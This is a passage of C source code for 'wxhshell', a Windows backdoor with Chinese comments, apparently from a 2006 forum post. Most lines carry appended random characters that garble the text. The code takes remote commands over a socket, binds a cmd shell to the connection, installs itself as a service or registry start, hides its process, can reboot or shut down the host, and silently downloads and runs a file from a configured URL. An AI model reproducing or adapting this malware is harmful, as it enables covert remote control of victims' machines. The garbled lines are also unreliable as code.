  // 帮助 /-J12O  
  case '?': { ,j^z];  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <B"M} Y>_P  
    break; N3O~_=/v?  
  } UM[<v9NWE  
  // 安装 0{0BL@H  
  case 'i': { %z9eVkPI~  
    if(Install()) ?7n(6kmj4Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uj 6dP  
    else G3r9@ 2OC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 01~&H8 =  
    break; &T"X kgU5  
    } x|3f$ =b  
  // 卸载 y<#?z 8P  
  case 'r': { #RIo6 3  
    if(Uninstall()) n\CQ-*;l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6<E4?<O%  
    else 2pu8')'P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g3*" ^C2=  
    break;  J^"  
    } BC}+yS \  
  // 显示 wxhshell 所在路径 X"'c2gaa_  
  case 'p': { T8*<  
    char svExeFile[MAX_PATH]; O:K={#Xj  
    strcpy(svExeFile,"\n\r"); `VJJ"v<L  
      strcat(svExeFile,ExeFile); R> r@[$z+  
        send(wsh,svExeFile,strlen(svExeFile),0); vbXZZ  
    break; +*Um:}&  
    } Jng,:$sZ  
  // 重启 ctqXzM `  
  case 'b': { 5 *w a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #a : W  
    if(Boot(REBOOT)) Nhq& Sn2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ^##tk  
    else { lL6 bIjf  
    closesocket(wsh); u>e4;f`F  
    ExitThread(0); 1#o>< ?  
    } 7soiy A  
    break; 9t`   
    } aDXdr\ C6  
  // 关机 }\p>h  
  case 'd': { \Pv_5LAo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ws_R S%  
    if(Boot(SHUTDOWN))  @%8Xa7+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'9K8q\1  
    else { aN\ps g  
    closesocket(wsh); N001c)*7Q  
    ExitThread(0); IO, kGUS  
    } i Eh -  
    break; >%vw(pt  
    } Woo2hg-ti  
  // 获取shell lz=DP:/&  
  case 's': { &PfCY{_  
    CmdShell(wsh); Qf?5"=:#  
    closesocket(wsh); W6=j^nv  
    ExitThread(0); N;)Y+amg^  
    break; h"b;e2  
  } .Vy*p")"  
  // 退出 Y ;JP r  
  case 'x': {  }YPW@g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Tn0$+$.4  
    CloseIt(wsh); YJioR4+q  
    break; *""JE'wG  
    } \M@9#bd  
  // 离开 @ P[o  
  case 'q': { N{lj"C]L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /hC[>t<  
    closesocket(wsh); jQrj3b.NC3  
    WSACleanup(); ^\Bm5QkS  
    exit(1); vSu|!Xb]  
    break;  pt`^4}  
        } iti~RV,  
  } QH_0U`3  
  } o_!=-AWV  
m -{t%[Y  
  // 提示信息 s`:>"1\|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j\,HquTR  
} 37 #|X*L  
  } KK}?x6wV0,  
7N@4c   
  return; ~j1.;WId[  
} $]&0`F  
,34|_  
// shell模块句柄 iG:9uDY  
int CmdShell(SOCKET sock) ]Bp db'  
{ QQQ3U  
STARTUPINFO si; I|RMxx y;  
ZeroMemory(&si,sizeof(si)); f?-=&||f78  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {i:5XL   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tb%u<jY  
PROCESS_INFORMATION ProcessInfo; uxbDRlOS  
char cmdline[]="cmd"; |*~=w J_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'Gn-8r+  
  return 0; aWp9K+4R$/  
} 4v@urW s  
fx W,S  
// 自身启动模式 50s)5G#  
int StartFromService(void) ^H0`UKE  
{ w"-'  
typedef struct &e#>%0aS  
{ R.(cGZS  
  DWORD ExitStatus; [1I>Bc&o*  
  DWORD PebBaseAddress; (r&e|  
  DWORD AffinityMask;  QuJ~h}k  
  DWORD BasePriority; {nyQ]Nu"  
  ULONG UniqueProcessId; KNR_upO8  
  ULONG InheritedFromUniqueProcessId; .zm'E<  
}   PROCESS_BASIC_INFORMATION; RVlAWw(  
|FF"vRi8a7  
PROCNTQSIP NtQueryInformationProcess; l7rGz2:?  
~2R3MF.C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iQrTEp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r_sZw@lqJ  
*O`76+iZ|_  
  HANDLE             hProcess; ?;\xeFy!  
  PROCESS_BASIC_INFORMATION pbi; (-lu#hJ`&r  
N8$MAW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /xK5%cE>B  
  if(NULL == hInst ) return 0; O@.afk"{  
nm[ yp3B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ##%R|P3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,zCrix 3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u )'l|Y  
P #_8$#G3  
  if (!NtQueryInformationProcess) return 0; B3p[A k  
j Hd <*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %h "+J  
  if(!hProcess) return 0; 6bL"ZOEu  
9*?H/iN@p?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T<p,KqH  
B{ i5UhxD  
  CloseHandle(hProcess); |( %3 '"Z  
VrV* -J'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qO5.NIs  
if(hProcess==NULL) return 0; 1' #%U A  
ELF,T (  
HMODULE hMod; &"V%n  
char procName[255]; &FQ]`g3_@  
unsigned long cbNeeded; NNWbbU3wjh  
$N7:;X"l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ 2mJh^cj  
zTFfft<  
  CloseHandle(hProcess); ObDcNq/b!  
jGB2`^&d  
if(strstr(procName,"services")) return 1; // 以服务启动 @!92Ok  
dHU#Y,v  
  return 0; // 注册表启动 x;RjLI4h  
} G$ l>By  
6B4s6  
// 主模块 vXUrS+~x  
int StartWxhshell(LPSTR lpCmdLine) XxW~4<r  
{ jV_Eyi3  
  SOCKET wsl; +vxU~WIV&  
BOOL val=TRUE; 2<$C6J0HM  
  int port=0; 5t$ZEp-  
  struct sockaddr_in door; }2sc|K^  
8aCa(Xu(H  
  if(wscfg.ws_autoins) Install(); O5PCR6U  
AHws5#;$6*  
port=atoi(lpCmdLine); G0sg\]  
F,CQAgx  
if(port<=0) port=wscfg.ws_port; h[()!\vBy  
`jR= X  
  WSADATA data; URW#nm?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M5C}*c9  
PVAs# ~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DzLm~ aF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); buGYHZu  
  door.sin_family = AF_INET; RH,(8.&>r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); urT!?*g,  
  door.sin_port = htons(port); `pp"htm   
MKd{ y~'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &[BDqi  
closesocket(wsl); UQl3Tq4QM  
return 1; nq#k}Qx:  
} r4}:t$  
f-5vE9G3y7  
  if(listen(wsl,2) == INVALID_SOCKET) { ^>?gFvWB%  
closesocket(wsl); 5 ^}zysY`  
return 1; S3-3pJ]~Zk  
} saOXbt(&  
  Wxhshell(wsl); u1y c  
  WSACleanup(); @].Ko[P~  
]R^?Pa1Te4  
return 0; W M/pP?||  
I;`)1   
} 2Y&QJon)  
E<>Ev_5>  
// 以NT服务方式启动 =K#D^c~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d+KLtvB%M  
{ 9C5w!_b@  
DWORD   status = 0; v&}mbt-  
  DWORD   specificError = 0xfffffff; 9N>Dp N  
Y_&D W4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z JWh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (o_wv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wVCZ=\L}  
  serviceStatus.dwWin32ExitCode     = 0; Lwgk}!KR  
  serviceStatus.dwServiceSpecificExitCode = 0; sygAEL;.  
  serviceStatus.dwCheckPoint       = 0; `B;^:u  
  serviceStatus.dwWaitHint       = 0; ugg08am!  
tP2hU[7Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d$<HMs:o@  
  if (hServiceStatusHandle==0) return; #RoGyrLo  
rlYAy5&  
status = GetLastError(); Q4 Mp[  
  if (status!=NO_ERROR) C=}YKsi|R|  
{ u"-q"0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kUAjQ>  
    serviceStatus.dwCheckPoint       = 0; X )d7y  
    serviceStatus.dwWaitHint       = 0; ysA~Nq@  
    serviceStatus.dwWin32ExitCode     = status; *a xOen  
    serviceStatus.dwServiceSpecificExitCode = specificError; H kDT14 `&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r8XY"<  
    return; 50Z$3T  
  } n~ \"W  
a4FvQH#j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; heiIb|z  
  serviceStatus.dwCheckPoint       = 0; d?_Bll"  
  serviceStatus.dwWaitHint       = 0; 5nIm7vlQm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $L>tV='  
} e!*d(lHKos  
c@)k#/[[b  
// 处理NT服务事件,比如:启动、停止 ^w4FqdGM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xZt]s3?  
{ tWVbD%u^  
switch(fdwControl) <Yfk7Un  
{ XA} !  
case SERVICE_CONTROL_STOP: ']1j M n  
  serviceStatus.dwWin32ExitCode = 0; )'(7E$d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hA6!F#1  
  serviceStatus.dwCheckPoint   = 0; BY"<90kBL  
  serviceStatus.dwWaitHint     = 0; WE \912j  
  { zYfn;s%A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [gFpFz|b<  
  } P6* IR|  
  return; yhQv $D,^f  
case SERVICE_CONTROL_PAUSE: b|t` )BF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fkWuSGi  
  break; G 8OLx+!0e  
case SERVICE_CONTROL_CONTINUE: po+>83/!oq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?!1K@/!  
  break; g@YJ#S(}  
case SERVICE_CONTROL_INTERROGATE: AQ 3n=Lr   
  break; zghUwW|K  
}; tG(?PmQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z c N1i^   
} EY;C5P4  
yWsV !Ub  
// 标准应用程序主函数 |Vc8W0~0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L%9DaK  
{ kL,bM.;  
|XOD~Plo^  
// 获取操作系统版本 cP63q|[[  
OsIsNt=GetOsVer(); NK]X="`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aH'Sz'|E  
E[HXbj"  
  // 从命令行安装 TTpK8cC  
  if(strpbrk(lpCmdLine,"iI")) Install(); #R<4K0Xan  
Epsc2TuH7  
  // 下载执行文件 \D>vdn"Lx  
if(wscfg.ws_downexe) { l)GV&V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ee;&;Q,O.z  
  WinExec(wscfg.ws_filenam,SW_HIDE); D%kY  
} P31}O2 Nh  
Q+gd|^Vc9  
if(!OsIsNt) { fdGls`H  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]N!382  
HideProc(); *@|d7aiO  
StartWxhshell(lpCmdLine); IQxY]0\uf6  
} Q~<$'j  
else g76l@QYIU  
  if(StartFromService()) J2 {?P cs  
  // 以服务方式启动 A~&Tp  
  StartServiceCtrlDispatcher(DispatchTable); sG*1?  
else 5$0@f`sj  
  // 普通方式启动 |=2E?&%?  
  StartWxhshell(lpCmdLine); MHmaut#  
:Lqz`  
return 0; `|e?91@vEa  
}
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只看该作者 1 发表于: 2006-10-10
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